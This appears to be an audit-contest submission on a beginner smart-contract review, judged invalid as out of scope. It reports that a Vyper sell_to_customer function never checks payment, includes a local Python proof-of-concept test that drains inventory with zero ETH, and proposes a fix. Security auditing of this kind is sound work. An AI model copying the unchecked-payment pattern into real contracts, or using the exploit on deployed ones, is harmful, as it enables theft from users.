Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Missing Payment Verification Allows Malicious Engine to Drain Inventory

[H-03] Missing Payment Verification Allows Malicious Engine to Drain Inventory

Description

Normally, sell_to_customer is intended to be called by the CUSTOMER_ENGINE to sell items in exchange for the correct payment (ETH). Upon a successful sale, inventory is reduced, revenue is added, and reputation is updated.

The specific issue is that the function does not verify that the CUSTOMER_ENGINE actually sent the correct payment. A malicious engine can call this function with zero ETH (or less than the required amount) and still reduce inventory, gain reputation, and increase company_balance without sending funds.

// Root cause in Cyfrin_Hub.vy
@external
@payable
def sell_to_customer(requested: uint256):
...
> revenue: uint256 = requested * SALE_PRICE
> self.company_balance += revenue # @audit No check for msg.value
...

Risk

Likelihood: High

  • Easy to exploit by anyone controlling the CUSTOMER_ENGINE address.

  • No race conditions or special state needed — just call the vulnerable function with zero ETH.

Impact: High

  • Loss of inventory and economic value.

  • Internal accounting (company_balance) and reputation are updated without actual payment.

Proof of Concept

This is the PoC test (drop into tests/test_underpayment_eoa.py or run as a separate file):

# tests/test_underpayment_eoa.py
import boa
from eth_utils import to_wei
import os
import sys
company_path = "src/Cyfrin_Hub.vy"
def compile_and_deploy_from_file(path: str, deployer_address):
assert os.path.exists(path), f"Contract file not found: {path}"
# read file and compile via boa.loads (works across boa versions we usually see)
with open(path, "r") as f:
src = f.read()
compiled = boa.loads(src)
# compiled may be a module-like object (boa 0.x) or a contract factory
if hasattr(compiled, "deploy"):
return compiled.deploy(sender=deployer_address)
# If boa.loads returned an object where the contract is the first attribute, try heuristics
# (some boa versions return dict-like objects)
try:
# look for attribute that looks like a contract factory
for attr in dir(compiled):
if attr.startswith("_"):
continue
candidate = getattr(compiled, attr)
if hasattr(candidate, "deploy"):
return candidate.deploy(sender=deployer_address)
except Exception:
pass
# Last attempt: if boa.load path API is available
try:
return boa.load(path).deploy(sender=deployer_address)
except Exception as e:
raise RuntimeError(f"Could not deploy contract from {path} (boa API mismatch). Err: {e}")
def test_underpayment_eoa():
# --- setup accounts ---
deployer = boa.env.generate_address("deployer")
attacker = boa.env.generate_address("attacker")
boa.env.set_balance(deployer, to_wei(10, "ether"))
boa.env.set_balance(attacker, to_wei(1, "ether"))
# --- deploy company ---
company = compile_and_deploy_from_file(company_path, deployer_address=deployer)
# defensive owner discovery
try:
owner_addr = company.OWNER_ADDRESS()
except Exception:
try:
owner_addr = company.OWNER()
except Exception:
owner_addr = deployer
# make sure owner has funds
boa.env.set_balance(owner_addr, to_wei(10, "ether"))
# owner prepares contract state
with boa.env.prank(owner_addr):
# If your project uses different names for these entrypoints, update them here.
try:
company.fund_cyfrin(0, value=to_wei(1, "ether"))
except Exception:
# best-effort fallback: call any payable initializer if present
pass
try:
company.produce(10)
except Exception:
# If signature differ, attempt alternative names
try:
company.produce_items(10)
except Exception:
raise RuntimeError("Could not call produce() — adjust test to match your contract API")
initial_inventory = int(company.inventory())
assert initial_inventory >= 10, f"setup produce failed (inventory={initial_inventory})"
# owner sets CUSTOMER_ENGINE to attacker (EOA)
with boa.env.prank(owner_addr):
try:
company.set_customer_engine(attacker)
except Exception:
# fallback to setter naming convention
try:
company.setCustomerEngine(attacker)
except Exception as e:
raise RuntimeError("set_customer_engine not found; adjust to your contract's setter") from e
onchain_before = boa.env.get_balance(company.address)
internal_before = int(company.company_balance())
# attacker calls vulnerable function directly with zero value
requested = 4
with boa.env.prank(attacker):
# Try different case variants to match actual ABI
called = False
for fn in ("sell_to_customer", "sellToCustomer", "sellTo_customer"):
try:
getattr(company, fn)(requested, value=0)
called = True
break
except AttributeError:
continue
except Exception as e:
# revert or other error — surface it
raise RuntimeError(f"Call to {fn} reverted/failed: {e}")
if not called:
raise RuntimeError("sell_to_customer method not found on deployed contract; check ABI/name")
inventory_after = int(company.inventory())
assert inventory_after == initial_inventory - requested, (
f"Inventory did not decrease as expected: before={initial_inventory}, after={inventory_after}"
)
onchain_after = boa.env.get_balance(company.address)
assert onchain_after == onchain_before, f"On-chain ETH changed: {onchain_before} -> {onchain_after}"
internal_after = int(company.company_balance())
try:
sale_price = int(company.SALE_PRICE())
except Exception:
sale_price = 2 * 10**16
expected_increase = requested * sale_price
assert internal_after >= internal_before + expected_increase, (
f"company_balance not increased as expected: {internal_before} -> {internal_after}"
)
# helpful debug output
print("POC (EOA) PASSED")
print("initial_inventory:", initial_inventory)
print("inventory_after:", inventory_after)
print("internal_before:", internal_before)
print("internal_after:", internal_after)
print("onchain_before:", onchain_before)
print("onchain_after:", onchain_after)

Run with:

mox test tests/test_underpayment_eoa.py -vv

Recommended Mitigation

  • Verify Payment in sell_to_customer

  • Ensure msg.value is at least the expected amount (requested * SALE_PRICE) before reducing inventory or updating internal balances.

@external
@payable
def sell_to_customer(requested: uint256):
...
+ revenue: uint256 = requested * SALE_PRICE
+ assert msg.value >= revenue, "Insufficient payment from CustomerEngine!"
+ self.company_balance += msg.value
- self.company_balance += revenue # Remove unverified balance update
Updates

Lead Judging Commences

0xshaedyw Lead Judge 4 days ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.